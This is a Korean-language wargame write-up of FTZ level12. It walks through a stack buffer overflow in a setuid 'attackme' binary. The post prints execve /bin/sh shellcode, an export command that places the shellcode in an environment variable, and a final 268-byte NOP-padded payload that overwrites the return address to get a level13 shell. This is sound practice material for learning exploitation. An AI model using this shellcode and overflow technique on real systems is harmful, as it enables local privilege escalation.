FTZ level12 풀이
FTZ level12 풀이
level12의 홈디렉터리 내용이다. 이번 문제도 역시 attackme 프로그램을 이용하는 문제인것 같다.
attacme 프로그램에 level13의 권한으로 setuid가 걸려있다.
hint파일을 열어보자
역시나 hint 파일에는 c 언어 소스코드가 있었다.
해석해보자!
소스코드 해석을 참조하면 실행시 사용자 입력을 받지 않고 프로그램 실행중에 gets() 함수를 통해 사용자 입력을 받는다.
어떤 식으로 이문제를 해결할 것인지 생각해 보자.
1 : str[256]의 시작점에서 main() ret 까지의 거리를 구한다
2 : 환경변수에 쉘 코드를 등록하고 주소를 확인한다.
3 : ret 위치의 데이터를 쉘 코드 주소로 변조시킬 페이로드를 작성한다.
4 : 페이로드를 이용해 셸 획득
먼저 str[256]의 시작점에서 main() ret 까지의 거리를 구해보자
디버깅을 위해 attackme 파일을 tmp 디렉토리로 복사하자
0x080484a1 <main+49>: lea eax,[ebp-264]
: 이 부분을 통해 str 버퍼에서 ebp 까지의 거리가 264 라는 것을 알 수 있다.
그리고 ret은 ebp로부터 4Byte 아래에 위치 하므로 268이다
str[256] 시작점에서 부터 main() ret 까지의 거리 : 268
이제 쉘코드의 주소를 알아보자
<shell code>
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이번 문제에서는 쉘 코드를 환경변수에 등록하고 이 환경변수의 메모리 주소를 ret의 값으로 변조하여 쉘을 실행시킬것이다. 그러기 위해서 쉘 코드를 환경 변수에 등록하는 방법을 알아보자.
우선 환경변수는 OS가 필요한 정보를 메모리에 등록해 놓고 필요할때 마다 참조하는 영역을 의미한다. 일반 사용자 역시 환경변수에 등록해서 사용이 가능.
환경변수에 등록된 데이터는 고정적인 메모리주소를 가지고 있게 된다. 그래서 우리가 필요한 쉘코드를 환경 변수에 등록하고 이 환경 변수의 메모리 주소를 알아 올 수 있다면 우리는 ret의 값을 환경변수에 등록한 쉘코드로 변조가 가능하게 되는 것이다.
export [환경 변수명]=[사용자 입력]
이런 식으로 원하는 동작을 사용자 임의로 등록 할 수 있다. 이때 우리는 사용자 입력에 쉘코드를 넣을 것이다.
유의할 점은 쉘코드 내용이 실제로 경로를 포함하고 있어서 환경변수를 등록 할 때 경로임을 표시해주는 "$"를 앞에 붙여줘야 한다.
그리고 쉘 코드를 (python -c 'print "쉘코드"') 와 함께 전달해야 메모리에서 끌어와 구동시킬 수 있다.
최종적으로 export shellcode=$(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') 이런식으로 환경변수에 쉘코드를 등록하면 된다.
이제 환경변수에 등록된 쉘코드의 주소를 알아보기 위해 간단한 c언어 코드를 만들고 실행시켜보자
해당 코드는 getenv 함수를 사용해 위에서 등록한 shellcode 환경변수 값을 불러온다.
컴파일후 실행시키면 쉘 코드의 주소가 나온다
쉘코드의 주소 =0xbffffef6
이제 페이로드를 작성해보자
페이로드는 (python -c 'print "\x90"*[str ~ ret거리]"+[쉘코드의 주소]';cat) | ./attackme 이런식으로 작성할 것이다.
최종적인 페이로드 : (python -c 'print "\x90"*268 + "\xf6\xfe\xff\xbf"';cat) | ./attackme
페이로드를 실행시키니 성공적으로 쉘을 획득했다. 그리고 my-pass 명령어를 이용해 level13의 패스워드를 출력
level12 clear ~
'System Hacking > FTZ' 카테고리의 다른 글
FTZ level14 풀이 (0) | 2017.07.04 |
---|---|
FTZ level13 풀이 (0) | 2017.07.04 |
FTZ level11 풀이 (0) | 2017.07.04 |
FTZ level10 풀이 (0) | 2017.06.30 |
FTZ level9 풀이 (0) | 2017.06.30 |